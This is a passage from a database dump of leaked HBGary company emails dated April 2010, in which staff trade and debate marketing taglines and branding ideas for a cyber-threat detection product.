compliance, IP protection,\r\nrisk mitigation. &nbsp;how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMight want to illustrate our benefit with partner integration,\r\nfoundstone, verdasys, fidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&#8220;combat&#8221; is both offense and defense.&nbsp; Implies an&nbsp;\r\nongoing battle.&nbsp; Works for both gov&#8217;t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11, 2010 2:34 PM\r\nTo:&nbsp;all@hbgary.com;\r\nKaren Burke\r\nSubject:&nbsp;Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot;\r\npunch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with\r\nconsumer grade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/12/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2082,'aaron_hbgary_com/2082.html'),(5163,'2010-04-12','rich@hbgary.com','/aaron@hbgary.com/new/1297003789.M171869P14101Q18.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,shawn@Hbgary.com','Re: Some New Taglines from Greg','   I agree with Greg, detect tomorrows threats today.   Powerful, forward thinking, high level which fits the larger enterprise market.  Sent from my Verizon Wireless BlackBerryFrom:  Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: Mon, 12 Apr 2010 07:32:53 -0700To: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;shawn@Hbgary.com&gt;Cc: Bob Slapnik&lt;bob@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;; Karen Burke&lt;karenmaryburke@yahoo.com&gt;Subject: Re: Some New Taglines from GregI really like \r\n&quot;Detect Tommorow&#39;s Threats Today&quot;\r\n \r\nIt has proactive all over it.  It implies the threat is evolving, which licks the APT stamp.  &quot;Detect&quot; implies we have an Enterprise product.  It also implies that we track said threats in order to stay ahead of them.  With this message, we don&#39;t have the say &#39;Defend&#39;, that&#39;s implied because tommorow&#39;s threat hasn&#39;t hit yet.  &#39;Tommorow/Today&#39; is a stroke of genius - it puts motion into the message and positions HBGary as a shepard in the otherwise hostile evolving cyber-threat space. \r\n\r\n \r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaybe another tagline: \r\n\r\nTaking reverse engineering out of malware analysis and threat detection. \r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.  The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.\r\n\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AMTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc: Karen BurkeSubject: Re: Some New Taglines from Greg\r\n\r\n \r\nSome thoughts on Branding.\r\n\r\n \r\n\r\nVision:\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\nAdvanced Threat Detection\r\n\r\nEnterprise Threat Detection\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n \r\n\r\nTaglines:\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\nWhen being compliant isn&#39;t good enough\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n \r\n\r\nWords to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n \r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.\r\n\r\n \r\n\r\nFirst what is the Vision.\r\n\r\nSecond what are your markets.\r\n\r\nThird, what are their hotbuttons in each market (compliance, intelligence, mission assurance)\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n \r\n\r\nVision:\r\n\r\n \r\n\r\nMarkets:\r\n\r\nFederal:\r\n\r\nState/Local:\r\n\r\nCommercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.\r\n\r\n \r\n\r\nHotbuttons:\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.\r\n\r\nState/Local: Cost/Compliance,\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n \r\n\r\nI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone else.  How to we protect the mission, provide net defense capability.\r\n\r\n\r\n2.  How does HBGary benefit compliance, IP protection, risk mitigation.  how does it save them money.\r\n\r\n \r\n\r\nMight want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n \r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n \r\n\r\n“combat” is both offense and defense.  Implies an  ongoing battle.  Works for both gov’t and private sector.\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Sunday, April 11, 2010 2:34 PMTo: all@hbgary.com; Karen BurkeSubject: Some New Taglines from Greg\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\nTeam,\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n \r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n \r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n \r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware, where &quot;Global Threats&quot; implies governments and hostile organizations\r\n\r\n\r\n\r\n \r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n\r\n\r\n- Using the word Defense implies Threat.  So, these two words are interchangable.\r\n\r\n\r\n \r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n \r\n\r\n\r\n\r\n- &quot;Assurance&quot; implies more of an ongoing partnership, as opposed to a product-focus\r\n\r\n\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n \r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n \r\n\r\n\r\n-  Using the word Protection requires additional clarifying words.  Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not neccesarily enteprise product\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with consumer grade protection &amp; AV\r\n\r\n\r\n \r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n \r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could also mean incident response services\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses and banking malware\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n \r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that we offer an Enterprise product\r\n\r\n\r\n \r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n \r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\nAssured Defense in Hostile Cyberspace\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00\r\n \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',4252,'aaron_hbgary_com/4252.html'),(5164,'2010-04-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003789.M418248P14101Q19.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Stock Photo Image',' \r\nI have an account on iStock, you want me to download that one?\r\n \r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Penny,Do you guys have a stock photo account.Do you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-codeAaron BarrCEOHBGary Federal Inc.\r\n',10980,'aaron_hbgary_com/10980.html'),(5165,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003789.M646111P14101Q20.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,','Re: Some New Taglines from Greg','A suggestion:Use that tagline in conjunction with a purpose/vision statement.Advanced Threat Detection (this states plainly what you do) Enterprise threat detection, whichever one works.Detecting tomorrows threats today. (this is more cutesy but enhances the message. &nbsp;You have to think about it for a minute, which I don\'t think you want as a main marketing purpose statement but works well to reinforce). &nbsp;AaronOn Apr 12, 2010, at 10:32 AM, Greg Hoglund wrote:I really like \r\n\"Detect Tommorow\'s Threats Today\"\r\n&nbsp;\r\nIt has proactive all over it.&nbsp; It implies the threat is evolving, which licks the APT stamp.&nbsp; \"Detect\"&nbsp;implies&nbsp;we have an Enterprise product.&nbsp; It also implies that we track said threats in order to stay ahead of them.&nbsp; With this message, we don\'t have the say \'Defend\', that\'s implied because tommorow\'s threat hasn\'t hit yet.&nbsp; \'Tommorow/Today\' is a stroke of&nbsp;genius - it puts motion into&nbsp;the message and positions HBGary as a shepard in&nbsp;the otherwise hostile evolving&nbsp;cyber-threat space.&nbsp;\r\n\r\n&nbsp;\r\n-Greg\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nMaybe another tagline: \r\n\r\nTaking reverse engineering out of malware analysis and threat detection. \r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.&nbsp; The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12, 2010 8:41 AMTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc:&nbsp;Karen BurkeSubject:&nbsp;Re: Some New Taglines from Greg\r\n\r\n&nbsp;\r\nSome thoughts on Branding.\r\n\r\n&nbsp;\r\n\r\nVision:\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\nAdvanced Threat Detection\r\n\r\nEnterprise Threat Detection\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n&nbsp;\r\n\r\nTaglines:\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n&nbsp;\r\n\r\nWords to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly tailored to different audiences.\r\n\r\n&nbsp;\r\n\r\nFirst what is the Vision.\r\n\r\nSecond what are your markets.\r\n\r\nThird, what are their hotbuttons in each market (compliance, intelligence, mission assurance)\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n&nbsp;\r\n\r\nVision:\r\n\r\n&nbsp;\r\n\r\nMarkets:\r\n\r\nFederal:\r\n\r\nState/Local:\r\n\r\nCommercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.\r\n\r\n&nbsp;\r\n\r\nHotbuttons:\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.\r\n\r\nState/Local: Cost/Compliance,\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n&nbsp;\r\n\r\nI think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone else. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n2. &nbsp;How does HBGary benefit compliance, IP protection, risk mitigation. &nbsp;how does it save them money.\r\n\r\n&nbsp;\r\n\r\nMight want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.\r\n\r\n&nbsp;\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n&nbsp;\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n“combat” is both offense and defense.&nbsp; Implies an&nbsp; ongoing battle.&nbsp; Works for both gov’t and private sector.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11, 2010 2:34 PMTo:&nbsp;all@hbgary.com; Karen BurkeSubject:&nbsp;Some New Taglines from Greg\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nTeam,\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n- \"Global Threat\" is a big-boy way to say APT.\r\n\r\n\r\n- \"Defense\" implies that we have an Enteprise product\r\n\r\n\r\n\r\n- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n- \"Assured Defense\" means we can deliver where IDS and AV fails\r\n\r\n\r\n- \"Assured Defense\" implies enterprise product\r\n\r\n\r\n- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n- \"Global Cyber Threats\" is not as strong as \"Global Threats\" with respect to APT\r\n\r\n\r\n- \"Global Cyber Threats\" can mean Russian bank-info stealing malware, where \"Global Threats\" implies governments and hostile organizations\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So, these two words are interchangable.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-&nbsp;\"Assurance\" implies more of an ongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version of APT in\r\n\r\n\r\n- doesn\'t have the \"we are a product company\" punch\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional clarifying words.&nbsp;&nbsp;Hence, \"Cyber Threat\"\r\n\r\n\r\n- 